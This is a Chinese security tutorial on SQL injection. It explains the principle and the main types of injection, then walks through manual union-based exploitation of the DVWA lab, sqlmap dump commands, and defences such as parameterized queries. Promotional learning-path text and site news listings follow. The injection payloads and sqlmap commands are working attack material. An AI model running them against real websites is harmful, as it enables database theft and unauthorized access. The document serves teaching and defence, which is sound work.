【渗透测试】一文吃透SQL注入漏洞!原理+分类+实战利用+防御方案
SQL注入SQL Injection是OWASP Top10排名第一的Web漏洞也是渗透测试中最常见、最容易利用的漏洞之一。很多新手只会用sqlmap一键脱库却不知道SQL注入的原理是什么今天就从原理入手一文吃透SQL注入让你不仅会用还能理解为什么这么用。一、SQL注入漏洞原理核心必懂SQL注入的本质开发者在编写SQL语句时未对用户输入的参数进行严格过滤导致用户输入的恶意SQL语句被当作合法SQL语句执行从而获取数据库中的敏感信息甚至控制服务器。举个最简单的例子新手必看假设后台登录的SQL语句如下未过滤用户输入select*fromuserswhereusername$_POST[username]andpassword$_POST[password]当用户输入用户名admin or 11 --密码任意此时SQL语句会被拼接为select*fromuserswhereusernameadminor11-- and password任意密码解析or 11表示条件永远成立--表示注释后面的SQL语句因此这条SQL语句会查询出所有用户信息从而绕过登录验证成功登录后台。二、SQL注入漏洞分类按注入方式划分重点掌握3类1. 按参数类型分类字符型注入参数为字符串类型如username、title注入时需要用单引号、双引号闭合如上面的例子数字型注入参数为数字类型如id、page注入时无需闭合引号直接拼接SQL语句如id1 or 11。2. 按注入方式分类重点掌握3类报错注入通过构造恶意SQL语句使数据库报错从而获取数据库信息如版本、库名、表名常用函数updatexml()、extractvalue()、floor()等示例id1 and updatexml(1,concat(0x7e,database(),0x7e),1) --获取数据库名。联合查询注入使用union select语句拼接查询语句获取数据库中的敏感信息最常用适合有回显的场景前提前后查询的字段数一致示例id1 union select 1,database(),user() --获取数据库名和当前用户。盲注没有回显信息通过判断条件的真假逐步猜解数据库信息适合无回显的场景分类布尔盲注判断真假、时间盲注通过延迟判断示例时间盲注id1 and if(length(database())5,sleep(5),1) --判断数据库名长度是否为5若是则延迟5秒。三、SQL注入实战利用手动注入sqlmap自动化结合使用1. 手动注入理解原理必练以DVWA low级别SQL注入为例手动注入步骤判断是否存在注入点输入1报错说明存在字符型注入判断字段数输入1 order by 3 --报错1 order by 2 --正常说明字段数为2获取数据库名输入1 union select 1,database() --得到数据库名dvwa获取表名输入1 union select 1,group_concat(table_name) from information_schema.tables where table_schemadvwa --得到表名users获取字段名输入1 union select 1,group_concat(column_name) from information_schema.columns where table_nameusers --得到字段名username、password获取数据输入1 union select group_concat(username),group_concat(password) from users --得到所有账号密码。2. sqlmap自动化注入高效快捷实战常用手动注入效率低实战中常用sqlmap一键脱库核心命令检测注入点sqlmap -u http://xxx/vulnerabilities/sqli/?id1SubmitSubmit --dbs同时检测注入点并列出所有数据库脱库指定数据库sqlmap -u http://xxx/vulnerabilities/sqli/?id1SubmitSubmit -D dvwa --tables列出dvwa数据库的所有表获取表中数据sqlmap -u http://xxx/vulnerabilities/sqli/?id1SubmitSubmit -D dvwa -T users --columns列出users表的所有字段导出数据sqlmap -u http://xxx/vulnerabilities/sqli/?id1SubmitSubmit -D dvwa -T users -C username,password --dump导出username和password字段的数据。四、SQL注入漏洞防御方案企业级重点防御SQL注入的核心是“过滤用户输入”推荐4种企业级防御方案从易到难输入过滤对用户输入的参数进行严格过滤禁止特殊字符如’、、or、and、–等或对特殊字符进行转义使用参数化查询预编译SQL这是最有效的防御方式将SQL语句和参数分开参数不会被当作SQL语句执行如Java的PreparedStatement、PHP的PDO权限最小化数据库账号仅授予必要权限禁止使用root、sa等超级管理员账号连接网站开启WAF防护部署Web应用防火墙WAF自动拦截SQL注入等恶意请求定期更新WAF规则应对新的注入方式。总结SQL注入漏洞的核心是“输入未过滤”新手学习时不要只记命令要理解注入原理和拼接逻辑这样才能应对不同场景的注入漏洞。同时防御SQL注入也不是单一方法需要结合输入过滤、参数化查询、权限控制等多种方式才能彻底杜绝漏洞。网络安全的知识多而杂怎么科学合理安排下面给大家总结了一套适用于网安零基础的学习路线应届生和转行人员都适用学完保底6k就算你底子差如果能趁着网安良好的发展势头不断学习日后跳槽大厂、拿到百万年薪也不是不可能初级网工1、网络安全理论知识2天①了解行业相关背景前景确定发展方向。②学习网络安全相关法律法规。③网络安全运营的概念。④等保简介、等保规定、流程和规范。非常重要2、渗透测试基础一周①渗透测试的流程、分类、标准②信息收集技术主动/被动信息搜集、Nmap工具、Google Hacking③漏洞扫描、漏洞利用、原理利用方法、工具MSF、绕过IDS和反病毒侦察④主机攻防演练MS17-010、MS08-067、MS10-046、MS12-20等3、操作系统基础一周①Windows系统常见功能和命令②Kali Linux系统常见功能和命令③操作系统安全系统入侵排查/系统加固基础4、计算机网络基础一周①计算机网络基础、协议和架构②网络通信原理、OSI模型、数据转发流程③常见协议解析HTTP、TCP/IP、ARP等④网络攻击技术与网络安全防御技术⑤Web漏洞原理与防御主动/被动攻击、DDOS攻击、CVE漏洞复现5、数据库基础操作2天①数据库基础②SQL语言基础③数据库安全加固6、Web渗透1周①HTML、CSS和JavaScript简介②OWASP Top10③Web漏洞扫描工具④Web渗透工具Nmap、BurpSuite、SQLMap、其他菜刀、漏扫等恭喜你如果学到这里你基本可以从事一份网络安全相关的工作比如渗透测试、Web 渗透、安全服务、安全分析等岗位如果等保模块学的好还可以从事等保工程师。薪资区间6k-15k到此为止大概1个月的时间。你已经成为了一名“脚本小子”。那么你还想往下探索吗【“脚本小子”成长进阶资源领取】7、脚本编程初级/中级/高级在网络安全领域。是否具备编程能力是“脚本小子”和真正黑客的本质区别。在实际的渗透测试过程中面对复杂多变的网络环境当常用工具不能满足实际需求的时候往往需要对现有工具进行扩展或者编写符合我们要求的工具、自动化脚本这个时候就需要具备一定的编程能力。在分秒必争的CTF竞赛中想要高效地使用自制的脚本工具来实现各种目的更是需要拥有编程能力.零基础入门建议选择脚本语言Python/PHP/Go/Java中的一种对常用库进行编程学习 搭建开发环境和选择IDE,PHP环境推荐Wamp和XAMPP IDE强烈推荐Sublime ·Python编程学习学习内容包含语法、正则、文件、 网络、多线程等常用库推荐《Python核心编程》不要看完 ·用Python编写漏洞的exp,然后写一个简单的网络爬虫 ·PHP基本语法学习并书写一个简单的博客系统 熟悉MVC架构并试着学习一个PHP框架或者Python框架 (可选) ·了解Bootstrap的布局或者CSS。8、超级网工这部分内容对零基础的同学来说还比较遥远就不展开细说了贴一个大概的路线。感兴趣的童鞋可以研究一下不懂得地方可以【点这里】加我耗油跟我学习交流一下。网络安全工程师企业级学习路线如图片过大被平台压缩导致看不清的话可以【点这里】加我耗油发给你大家也可以一起学习交流一下。一些我自己买的、其他平台白嫖不到的视频教程需要的话可以扫描下方卡片加我耗油发给你都是无偿分享的大家也可以一起学习交流一下。结语网络安全产业就像一个江湖各色人等聚集。相对于欧美国家基础扎实懂加密、会防护、能挖洞、擅工程的众多名门正派我国的人才更多的属于旁门左道很多白帽子可能会不服气因此在未来的人才培养和建设上需要调整结构鼓励更多的人去做“正向”的、结合“业务”与“数据”、“自动化”的“体系、建设”才能解人才之渴真正的为社会全面互联网化提供安全保障。特别声明此教程为纯技术分享本书的目的决不是为那些怀有不良动机的人提供及技术支持也不承担因为技术被滥用所产生的连带责任本书的目的在于最大限度地唤醒大家对网络安全的重视并采取相应的安全措施从而减少由网络安全而带来的经济损失

相关新闻

专业的文件上传漏洞检测工具,支持263+绕过技术、代理抓包、动态扫描

专业的文件上传漏洞检测工具,支持263+绕过技术、代理抓包、动态扫描

工具介绍 UploadRanger v1.0.0一款专业的文件上传漏洞检测工具,支持多种绕过技术检测和自动化扫描。 专业的文件上传漏洞检测工具,支持263绕过技术、代理抓包、动态扫描功能特性 智能扫描:自动检测上传点,分析响应内容代理抓包&am…

2026/7/12 1:51:35 阅读更多 →
STM32F103C8T6 驱动 180° 舵机(SG90)超详细教程

STM32F103C8T6 驱动 180° 舵机(SG90)超详细教程

STM32F103C8T6 驱动 180 舵机(SG90)超详细教程一、教程前言1. 教程定位本教程面向嵌入式入门学习者,以最常用的 STM32F103C8T6(最小系统板) SG90 180 舵机为例,从零讲解舵机驱动原理、硬件接线、HAL 库代码…

2026/7/12 20:43:22 阅读更多 →
本次AIGC论文助手精心整理并发布了十大高效AI写作工具的详细专业测评分析

本次AIGC论文助手精心整理并发布了十大高效AI写作工具的详细专业测评分析

工具名称 核心优势 适用场景 aicheck 快速降AIGC率至个位数 AIGC优化、重复率降低 aibiye 智能生成论文大纲 论文结构与内容生成 askpaper 文献高效整合 开题报告与文献综述 秒篇 降重效果显著 重复率大幅降低 一站式论文查重降重 查重改写一站式 完整论文优化…

2026/7/17 3:58:27 阅读更多 →

最新新闻

【C语言学习004】——变量

【C语言学习004】——变量

上节的最后我们初步有了写“变量”的想法,我们再来细致的讨论一下:我们想要在程序运行后手动输入一个数字,因此我们的程序得能够储存我们所输入的数字。此外,我们需要让我们输入的数字能够真正参与后续的运算,因此我们…

2026/7/17 5:02:23 阅读更多 →
C++异常处理全解析:从语法到工程实践,构建健壮程序

C++异常处理全解析:从语法到工程实践,构建健壮程序

1. 项目概述:为什么C需要异常处理?干了这么多年C开发,我见过太多因为错误处理不当而导致的“惨案”。程序在测试环境跑得好好的,一到线上就莫名其妙崩溃,日志里留下一句“Segmentation fault”就再无下文;或…

2026/7/17 5:00:22 阅读更多 →
C++异步日志与网络日志实现:生产者-消费者模型与双缓冲区技术详解

C++异步日志与网络日志实现:生产者-消费者模型与双缓冲区技术详解

1. 项目概述与核心价值如果你正在用C做项目,无论是桌面应用、服务器后台还是嵌入式系统,日志功能绝对是绕不开的一环。它就像是项目的“黑匣子”,程序在线上跑得怎么样,出了什么问题,性能瓶颈在哪里,全靠它…

2026/7/17 4:58:20 阅读更多 →
C++工程调试与错误处理:异常、断言与日志系统构建实战

C++工程调试与错误处理:异常、断言与日志系统构建实战

1. 项目概述:为什么调试与错误处理是C工程的基石干了十多年C,从桌面应用到后台服务,再到嵌入式系统,我踩过最多的坑,往往不是算法有多复杂,而是程序在某个意想不到的时刻突然崩溃,或者在生产环境…

2026/7/17 4:58:20 阅读更多 →
OpenClaw全平台部署生存指南:环境、模型、渠道与技能四层调优

OpenClaw全平台部署生存指南:环境、模型、渠道与技能四层调优

1. 这不是安装教程,是2026年OpenClaw全平台部署的“生存指南” 我第一次在Mac上敲下 curl -fsSL https://openclaw.ai/install.sh | bash 时,以为只是装个AI助手。结果三小时后,我的终端里堆满了 ECONNRESET 、 device identity requir…

2026/7/17 4:58:20 阅读更多 →
OpenClaw本地微信协议网关:原理、部署与企业级实践

OpenClaw本地微信协议网关:原理、部署与企业级实践

1. 这不是“微信PC版替代品”,而是本地运行的微信协议网关中枢“openclaw一键安装2026中文版免配置本地部署教程三分钟直连手机微信”——这个标题里藏着三个极易被误解的关键点:“一键”不等于“无脑”、“中文版”不是UI翻译、“直连手机微信”更非越狱…

2026/7/17 4:54:18 阅读更多 →

日新闻

2026全国外贸独立站搭建公司推荐排行,含零代码SAAS、AI编程、源码定制

2026全国外贸独立站搭建公司推荐排行,含零代码SAAS、AI编程、源码定制

2026全国外贸独立站搭建公司推荐排行 外贸工厂、工贸企业建设官网,核心需求与普通展示型网站并不相同。除了页面整洁、多语言适配和海外访问体验,企业还要重点考虑数据能否导出、站点能否迁移、源码是否可控、后续费用是否透明,以及更换服务…

2026/7/17 0:02:10 阅读更多 →
HarmonyOS 应用开发《掌上英语》第19篇:3D 翻转动画实现——ArkTS 动画系统全解析

HarmonyOS 应用开发《掌上英语》第19篇:3D 翻转动画实现——ArkTS 动画系统全解析

3D 翻转动画实现——ArkTS 动画系统全解析引言 在移动应用中,卡片翻转动画是最受欢迎的交互动效之一,它能给用户带来直观的"物理世界"操作感。在我们的英语学习 App 的单词学习页面(CourseHomePage.ets)中,就…

2026/7/17 0:02:10 阅读更多 →
2026键盘推荐|IQUNIX EV63多场景适配,不允许有人不知道!

2026键盘推荐|IQUNIX EV63多场景适配,不允许有人不知道!

现在很多用户都需要一款能适配多场景的键盘,既能满足交流码字的需求,又能应对居家电竞的性能需求,最好还得有点小颜值。而大多键盘都只能兼顾其中一两个场景。这次我实测了IQUNIX EV63三款配色(银武士、黑武士、紫罗兰&#xff09…

2026/7/17 0:04:10 阅读更多 →

周新闻

互联网大厂 Java 求职面试:燕双非的搞笑回答与技术探讨

互联网大厂 Java 求职面试:燕双非的搞笑回答与技术探讨

互联网大厂 Java 求职面试:燕双非的搞笑回答与技术探讨 在一个阳光明媚的上午,互联网大厂的面试官坐在桌前,准备迎接他的面试候选人——燕双非,一个以搞笑和幽默著称的程序员。第一轮提问 面试官:燕双非,作…

2026/7/17 3:22:28 阅读更多 →
车载以太网PMA测试设备选型:示波器、VNA、信号源3类仪器关键参数与预算评估

车载以太网PMA测试设备选型:示波器、VNA、信号源3类仪器关键参数与预算评估

车载以太网PMA测试设备选型:示波器、VNA、信号源3类仪器关键参数与预算评估在智能驾驶和车联网技术快速发展的今天,车载以太网作为新一代车载网络的核心传输技术,其物理层性能直接决定了数据传输的可靠性和稳定性。1000BASE-T1作为当前主流的…

2026/7/17 3:01:28 阅读更多 →
VSCode EIDE 插件 2.0:APM32/STM32 项目迁移实战,5步完成Keil工程转换

VSCode EIDE 插件 2.0:APM32/STM32 项目迁移实战,5步完成Keil工程转换

VSCode EIDE 插件 2.0:APM32/STM32 项目迁移实战指南嵌入式开发领域正经历一场工具链的静默革命。当传统Keil用户首次打开VSCode的扩展市场搜索EIDE时,往往会惊讶于这个看似简单的插件竟能重构十余年的开发习惯。本文将揭示如何用五个精准步骤&#xff0…

2026/7/16 23:40:37 阅读更多 →

月新闻